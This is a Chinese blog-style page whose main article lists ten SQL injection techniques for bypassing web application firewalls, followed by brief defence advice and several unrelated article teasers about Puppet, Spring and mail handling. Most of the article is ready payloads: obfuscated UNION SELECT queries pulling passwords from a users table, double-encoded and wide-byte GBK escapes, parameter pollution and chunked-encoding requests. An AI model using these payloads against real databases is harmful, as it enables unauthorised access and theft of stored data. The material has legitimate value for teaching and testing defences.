news 2026/10/15 11:16:02

SQL 注入的 10 种进阶姿势:WAF 防火墙绕过实战,你的数据库真的安全吗?

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
SQL 注入的 10 种进阶姿势:WAF 防火墙绕过实战,你的数据库真的安全吗?

🚨 前言:WAF 真的万能吗?

WAF 的核心逻辑是正则匹配 (Regex Matching)和特征检测。
只要你的攻击 Payload 长得不像攻击,或者利用了解析差异,就能骗过 WAF,直接捅进数据库的心脏。

攻防逻辑示意图 (Mermaid):

1. 标准 SQL 注入
AND 1=1

匹配规则: 拦截!

2. 变形 Payload
/*M!50000AND*/ 1=1

规则未匹配: 放行

返回敏感数据

攻击者

WAF 防火墙

数据库

❌ 403 Forbidden


🛠️ 第一阶:基础替换流

1. 大小写混合 (Case Variation)
  • 原理:早期的 WAF 规则写得很死,只拦截UNION SELECT。
  • 绕过:
UnIoNSeLeCt1,user(),vErSiOn()
2. 空白符替换 (Whitespace Manipulation)
  • 原理:WAF 通常拦截空格。
  • 绕过:利用数据库支持的其他空白字符。
  • MySQL:%09(TAB),%0a(换行),%0b,%0c,%0d,+。
  • Payload:
SELECT/**/id/**/FROM/**/usersSELECT%0aid%0aFROM%0ausers
3. 内联注释混淆 (Inline Comments)
  • 原理:利用/* ... */将关键词打断,骗过正则,但在数据库中依然有效。
  • 绕过:
UN/**/ION SE/**/LECT password FR/**/OM users

⚔️ 第二阶:逻辑与编码流

4. MySQL 版本号特性 (Version Comments)
  • 原理:MySQL 特有的语法/*! ... */。如果里面的数字小于当前版本号,注释内容会被执行。
  • 绕过:
/*!50000UNION*//*!50000SELECT*/1,2,3

解释:WAF 以为是注释直接放行,但 MySQL 5.0 以上会执行它。

5. 双重 URL 编码 (Double Encoding)
  • 原理:WAF 可能只解码一次,但 Web 服务器会解码两次。
  • 绕过:
  • s->%73->%25%37%33
  • Payload:
id=1%25%35%35%6eion%25%35%33elect1,2#
6. 等价函数/符号替换 (Equivalent Substitution)
  • 原理:WAF 拦截了hex()或=,我们就换个写法。
  • 绕过:
  • hex()->bin()/ascii()
  • sleep()->benchmark()
  • =->LIKE/RLIKE/REGEXP/<>
  • AND->&&
  • OR->||
  • Payload:
id=1&&ascii(substr(user(),1,1))>0

🔥 第三阶:协议与底层流

7. HTTP 参数污染 (HPP - Parameter Pollution)
  • 原理:当 URL 传递两个同名参数?id=1&id=2时,WAF 可能只检測第一个,但后端数据库(如 ASP.NET/IIS)可能解析第二个,或者拼接两者。
  • 绕过:
?id=1&id=UNION&id=SELECT&id=1,2,3
8. 缓冲区溢出/超大数据包 (Buffer Overflow)
  • 原理:为了性能,WAF 通常只检测请求的前 8KB 或 16KB。如果你塞入大量的垃圾数据,把攻击 Payload 放在最后,WAF 可能会直接放行。
  • 绕过:
id=1/*A x 50000*/UNIONSELECT1,2,3
9. 分块传输编码 (Chunked Transfer Encoding)
  • 原理:在 HTTP 头中添加Transfer-Encoding: chunked,将 Payload 切碎发送。很多 WAF 无法还原分块数据。
  • 绕过:
POST /login.php HTTP/1.1 Transfer-Encoding: chunked 4 unio 1 n 4 sele 2 ct ...
10. 宽字节注入 (Wide Byte Injection)
  • 原理:针对 GBK 编码的数据库。WAF 会转义单引号'变为\'(%5c%27)。
  • 绕过:我们在单引号前加一个%df。
  • %df%5c在 GBK 中是一个汉字(運)。
  • 于是\'被吃掉了,单引号逃逸了出来。
  • Payload:
id=1%df%27 UNION SELECT...

🛡️ 防御篇:如何彻底终结 SQL 注入?

看了上面 10 种绕过姿势,你还觉得你的 WAF 安全吗?
真正的防御不能只靠“堵”(WAF),必须靠“治”(代码)。

  1. 预编译 (Prepared Statements):
  • 这是银弹!无论参数怎么写,数据库都只把它当成纯文本,绝不执行。
  • Java:PreparedStatement
  • PHP:PDO
  1. RASP (运行时应用自我保护):
  • 比 WAF 更高级,直接挂钩在应用内部,检测到底层调用的 SQL 语句。
  1. 严格的输入验证:
  • 如果你知道id只能是数字,就用Integer.parseInt()强转,别给黑客留机会。

博主留言:
安全攻防是一场永无止境的猫鼠游戏。
掌握攻击的艺术,是为了更好地构建防御的堡垒。
如果你的生产环境还在拼接 SQL 字符串,请立刻、马上重构代码!

(喜欢这类硬核安全知识?点赞、收藏,下期讲《XSS 跨站脚本攻击的 5 种隐蔽通道》!)

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/14 12:19:24

22、Puppet 工具集成与报告指南

Puppet 工具集成与报告指南 1. Puppet 模块测试 1.1 测试 collectd 类的条件逻辑 之前的测试仅针对指定参数的几个命名资源的存在性,现在我们要测试 collectd 类使用的条件逻辑。collectd 类的行为会根据用户是否将 $purge_config 设置为 true 而改变。若设置为 true …

作者头像 李华
网站建设 2026/10/13 14:10:19

29、Hiera:数据与代码分离的实用指南

Hiera:数据与代码分离的实用指南 在现代的基础设施管理中,将数据与代码分离是一种重要的实践,它有助于提高代码的可维护性和数据的安全性。Hiera 作为 Puppet 中的一个强大工具,能够很好地实现这一目标。下面我们将详细介绍 Hiera 的多种后端使用方法、函数调用以及模块数…

作者头像 李华
网站建设 2026/10/15 16:22:23

2026毕设ssm+vue基于协同过滤算法的电影推荐系统论文+程序

本系统&#xff08;程序源码&#xff09;带文档lw万字以上 文末可获取一份本项目的java源码和数据库参考。系统程序文件列表开题报告内容一、选题背景 关于电影信息聚合与评价问题的研究&#xff0c;现有研究主要以单一票房预测、情感分析或推荐算法优化为主&#xff0c;专门针…

作者头像 李华
网站建设 2026/10/13 0:10:46

49、复杂 MIME 消息发送与企业级邮件处理方案

复杂 MIME 消息发送与企业级邮件处理方案 1. 发送复杂 MIME 消息 在邮件发送中,我们常常需要发送各种不同类型的 MIME 消息,例如包含嵌入式图像的 HTML 消息,以及同时具备 HTML 和纯文本内容的消息。那如何发送一个既包含嵌入式图像的 HTML 内容,又有纯文本替代方案的消息…

作者头像 李华
网站建设 2026/10/14 13:36:53

56、Spring远程调用与事务管理全解析

Spring远程调用与事务管理全解析 1. 访问消息服务 首先,来看一个访问消息服务的示例代码: package com.apress.prospring2.ch15.remoting.http; public class MessageServiceClient {public static void main(String[] args) {ApplicationContext ctx = new FileSystemXm…

作者头像 李华
网站建设 2026/10/8 21:19:27

58、Spring 事务管理全解析

Spring 事务管理全解析 1. 编程式事务管理 在系统中,当 Grinch.ruin() 方法抛出 RuntimeException 时,我们在 ProgrammaticTxBankService.transfer 方法中捕获了该异常并回滚了事务。这使得付款人和收款人的账户在交易失败前后的余额保持不变,确保了转账过程中资金不…

作者头像 李华